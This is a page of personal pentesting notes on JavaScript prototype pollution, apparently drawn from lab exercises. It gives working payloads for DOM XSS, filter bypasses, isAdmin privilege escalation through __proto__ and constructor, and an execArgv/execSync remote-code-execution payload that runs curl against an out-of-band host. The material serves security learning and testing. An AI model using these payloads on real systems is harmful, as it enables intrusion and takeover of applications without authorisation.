Pentesting Notes
  • Home
  • 🌐Web pentesting
    • Content Discovery
    • Subdomain Enumeration
    • Authentication bypass
    • IDOR (Insecure Direct Object Reference)
    • Git repository
    • XSS
    • SSRF
    • CSRF
    • Injection
      • SQL Injection
      • Cypher injection
      • Command injection
      • Server Side Template Injection
      • NoSQL injection
      • XXE
    • FI (File Inclusion)
    • File upload
    • OAuth
    • JWT
    • CORS
    • Prototype pollution
    • Request Smuggling
  • Windows Pentesting
    • Enumerating users (No credentials)
    • Privilege Escalation
    • Post-Exploitation
    • Cross-domain enumeration
    • LDAP port (389, 636, 3268, 3269)
    • SMB port (139,445)
    • MSSQL port (1433)
    • Certificate Authority (CA)
    • Delegation attacks
    • Attacking Kerberos
    • Relay attacks
    • Bypassing Security
    • File Transfer
    • GPO (Group Policy Object)
    • Tools
      • Mimikatz
      • NetExec
      • Crackmapexec (CME)
      • Powerview
      • Bloodhound
      • Impacket
      • BloodyAD
      • Sliver C2
  • 🐧Linux Pentesting
    • Linux Privilege Esclation
    • Escape docker
    • Ansible
  • 🕊️Cross platform pivoting
    • Pivoting
  • ☁️Cloud
    • Kubernetes
    • Azure
      • Architecture
        • RBAC & ABAC roles
        • Entra ID roles
        • Entra ID - Authentication with OAuth and API's
        • Consent and Permissions
      • Service Discovery, Recon, Enumeration and Initial Access Attacks
        • Unauthenticated Recon
        • Password Spraying
        • Azure App Service
        • Azure Blob Storage
        • Phishing with Evilginx
        • Conditional Access
      • Authenticated Enumeration
        • ROADTools
        • BloodHound & AzureHound
        • Storage Accounts (database)
      • Privilege Escalation
        • Illicit Consent Grant
        • Macro enabled Word-files (Revshell)
        • Add secrets to app
        • Automation Accounts & Function Apps
        • Virtual Machines
        • Key Vault
        • ARM Deployment History
        • Enterprise Application / Service Principal
      • Lateral Movement
        • Entra ID Devices & Primary Refresh Tokens
        • Dynamic Groups
        • Application Proxy
        • Hybrid Identity
  • 🔁Reversing
    • Windows executables and DLL's
    • Linux binaries
    • Java applications
    • Android APK
  • 🛜Wireless networks
    • WPA/WPA2
    • WPS
    • WEP
    • Capative portal bypass
    • Setting up a Rogue Access Point
    • WPA Enterpise (WPA-MGT)
  • ⭐Tips and tricks
    • Tips and tricks
Powered by GitBook
On this page
  • DOM Invader
  • Client-side prototype pollution
  • DOM XSS via client-side prototype pollution
  • Client-side prototype pollution via flawed sanitization
  • Prototype pollution via Object.defineProperty()
  • Server-side prototype pollution
  • Detecting server-side prototype pollution via polluted property reflection
  • Detecting server-side prototype pollution without polluted property reflection
  • Bypassing flawed input filters for server-side prototype pollution
  • Remote code execution via server-side prototype pollution
  1. Web pentesting

Prototype pollution

PreviousCORSNextRequest Smuggling

Last updated 8 months ago

Prototype pollution is a JavaScript vulnerability that enables an attacker to add arbitrary properties to global object prototypes, which may then be inherited by user-defined objects.

Although prototype pollution is often unexploitable as a standalone vulnerability, it lets an attacker control properties of objects that would otherwise be inaccessible. If the application subsequently handles an attacker-controlled property in an unsafe way, this can potentially be chained with other vulnerabilities. In client-side JavaScript, this commonly leads to DOM XSS, while server-side prototype pollution can even result in remote code execution.

DOM Invader

  • Automatically detect sources for prototype pollution in the URL and any JSON objects sent via web messages. This includes detecting alternative techniques using the same source.

  • Generate a proof of concept by polluting the Object.prototype using any discovered sources. You can then manually verify the vulnerability via the browser console.

  • Scan for potential gadgets that you can use to craft an exploit.

Client-side prototype pollution

DOM XSS via client-side prototype pollution

DOM Invader finds two sources:

For these sources, we can scan for gadgets (in order to exploit these sources):

It finds a Sink (script.src)

DOM Invader makes it very easy for us, we can now just click "Exploit" and it will chain a XSS with the prototype pollution:

https://vulnerable-website.com/?__proto__[transport_url]=data%3A%2Calert%281%29

Client-side prototype pollution via flawed sanitization

An obvious way in which websites attempt to prevent prototype pollution is by sanitizing property keys before merging them into an existing object. However, a common mistake is failing to recursively sanitize the input string. For example, consider the following URL:

vulnerable-website.com/?__pro__proto__to__.gadget=payload

If the sanitization process just strips the string __proto__ without repeating this process more than once, this would result in the following URL, which is a potentially valid prototype pollution source:

vulnerable-website.com/?__proto__.gadget=payload

Example poor JS filter function:

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

Prototype pollution via Object.defineProperty()

Developers with some knowledge of prototype pollution may attempt to block potential gadgets by using the Object.defineProperty() method. This enables you to set a non-configurable, non-writable property directly on the affected object as follows:

Object.defineProperty(vulnerableObject, 'gadgetProperty', {
    configurable: false,
    writable: false
})

In this case, an attacker may be able to bypass this defense by polluting Object.prototype with a malicious value property. If this is inherited by the descriptor object passed to Object.defineProperty(), the attacker-controlled value may be assigned to the gadget property after all.

vulnerable-website.com/?__proto__[value]=data%3A%2Calert%281%29

Server-side prototype pollution

JavaScript was originally a client-side language designed to run in browsers. However, due to the emergence of server-side runtimes, such as the hugely popular Node.js, JavaScript is now widely used to build servers, APIs, and other back-end applications. Logically, this means that it's also possible for prototype pollution vulnerabilities to arise in server-side contexts.

Detecting server-side prototype pollution via polluted property reflection

POST or PUT requests that submit JSON data to an application or API are prime candidates for this kind of behavior as it's common for servers to respond with a JSON representation of the new or updated object. In this case, you could attempt to pollute the global Object.prototype with an arbitrary property as follows:

POST /user/update HTTP/1.1
Host: vulnerable-website.com
...
{
    "user":"wiener",
    "firstName":"Peter",
    "lastName":"Wiener",
    "__proto__":{
        "foo":"bar"
    }
}

If the website is vulnerable, your injected property would then appear in the updated object in the response. We can perhaps use this vulnerability to escalate our privileges to admin:

if (this.status == 200) {
    const header = document.createElement("h3");
    header.textContent = 'Updated Billing and Delivery Address';
    div.appendChild(header);
    formParent.appendChild(div);
    for (const [key, value] of Object.entries(responseJson).filter(e => e[0] !== 'isAdmin')) {
        const label = document.createElement("label");
        label.textContent = `${toLabel(key)}`;
        div.appendChild(label);
        const p = document.createElement("p");
        p.textContent = `${JSON.stringify(value).replaceAll("\"", "")}`;
        div.appendChild(p);
    }
}

Notice that the Object.entries looks at "isAdmin". We can set this to true using prototype pollution:

{
   "address_line_1":"Wiener HQ",
   "address_line_2":"One Wiener Way",
   "city":"Wienerville",
   "postcode":"BU1 1RPR",
   "country":"UK",
   "sessionId":"---",
   "__proto__":{
      "isAdmin":"True"
   }
}

Result:

{
   "username":"wiener",
   "firstname":"Peter",
   "lastname":"Wiener",
   "address_line_1":"Wiener HQ",
   "address_line_2":"One Wiener Way",
   "city":"Wienerville",
   "postcode":"BU1 1RPR",
   "country":"UK",
   "isAdmin":true
}

Detecting server-side prototype pollution without polluted property reflection

If you can find an object whose properties are visible in a response, you can use this to probe for sources. In the following example, we'll use UTF-7 encoding and a JSON source.

  1. Add an arbitrary UTF-7 encoded string to a property that's reflected in a response. For example, foo in UTF-7 is +AGYAbwBv-.

{
    "sessionId":"0123456789",
    "username":"wiener",
    "role":"+AGYAbwBv-"
}
  1. Send the request. Servers won't use UTF-7 encoding by default, so this string should appear in the response in its encoded form.

  2. Try to pollute the prototype with a content-type property that explicitly specifies the UTF-7 character set:

{
    "sessionId":"0123456789",
    "username":"wiener",
    "role":"default",
    "__proto__":{
        "content-type": "application/json; charset=utf-7"
    }
}
  1. Repeat the first request. If you successfully polluted the prototype, the UTF-7 string should now be decoded in the response:

{
    "sessionId":"0123456789",
    "username":"wiener",
    "role":"foo"
}

Bypassing flawed input filters for server-side prototype pollution

  1. Use the Server-Side prototype pollution scanner extension in Burp to scan a request

  2. If you find a source, instead of specifying __prototype__ directly, use the constructor:

"constructor": {
    "prototype": {
        "isAdmin":true
    }
}

This suggests that the object doesn't have its own isAdmin property, but has instead inherited it from the polluted prototype.

Remote code execution via server-side prototype pollution

"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('curl https://ID.oastify.com')"
    ]
}

DOM Invader provides a number of features to help you test for client-side vulnerabilities. These enable you to perform the following key tasks:

Setup:

While client-side prototype pollution typically exposes the vulnerable website to , server-side prototype pollution can potentially result in remote code execution (RCE). Try polluting the prototype with a malicious execArgv property that adds the --eval argument to the spawned child process. Use this to call the execSync() sink, passing in a command that triggers an interaction with the public Burp Collaborator server. For example:

If their are successful HTTP requests coming in we can assume RCE. more info:

🌐
prototype pollution
https://portswigger.net/burp/documentation/desktop/tools/dom-invader/enabling
DOM XSS
https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce#pp2rce-via-env-vars--cmdline